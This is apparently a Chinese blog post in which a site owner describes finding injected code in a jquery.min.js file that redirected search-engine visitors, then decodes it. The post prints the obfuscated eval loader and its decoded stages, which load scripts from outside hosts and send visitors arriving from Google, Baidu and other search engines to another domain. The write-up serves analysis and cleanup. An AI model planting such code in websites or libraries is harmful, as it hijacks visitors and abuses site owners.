在 jquery.min.js 文件中找到了 多出来的代码,删除后问题解决。
以下为全过程:
排名出现问题:
点开不一会儿跳转到这个页面:
在 jQuery.min.js 中找到的不该存在的代码(图中名字为临时的,正常文件已上传):
解密以eval加密的代码后(解密很简单,把eval换成alert):
用Firefox解密eval代码(Firefox可以复制弹出窗口中的内容):
// jQuery.min.js 中多出来的代码: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k)}}return p}('4.3(\'\');',11,11,'script|http|src|write|document|www|mlls01|js|956888|tz|com'.split('|'),0,{})); // http://www.mlls01.com/tz/956888.js function goad(){ var Then = new Date() Then.setTime(Then.getTime() + 24*60*60*1000) var cookieString = new String(document.cookie) var cookieHeader = "Cookie1=" var beginPosition = cookieString.indexOf(cookieHeader) if (beginPosition != -1){ } else { document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString() document.write('<script type="text/javascript" src="http://www.999827.com/tz/95688824.js" language="javascript"></script>'); } }goad(); // http://www.999827.com/tz/95688824.js // var p=2; var q=Math.floor(Math.random()*p+1) switch(q) { case 1: document.write('<script type="text/javascript" src="http://www.999827.com/tz/956888tz.js">// <![CDATA[ <\/script>'); break; case 2: document.write('<script src="http://www.999827.com/tz/956888tz.js"><\/script>'); break; } // http://www.999827.com/tz/956888tz.js if(window.name != 'ad_app6'){ var r = document.referrer; r = r.toLowerCase(); var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.'); var b = false; for (i in aSites){ if (r.indexOf(aSites[i]) > 0){ b = true; break; } } if(b) { self.location = 'http://www.956888.com/#tz'; window.adworkergo = 'ad_app6'; } } // http://www.999827.com/tz/956888tz.js if(window.name != 'ad_app6'){ var r = document.referrer; r = r.toLowerCase(); var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.'); var b = false; for (i in aSites){ if (r.indexOf(aSites[i]) > 0){ b = true; break; } } if(b) { self.location = 'http://www.956888.com/#tz'; window.adworkergo = 'ad_app6'; } }
<全文完>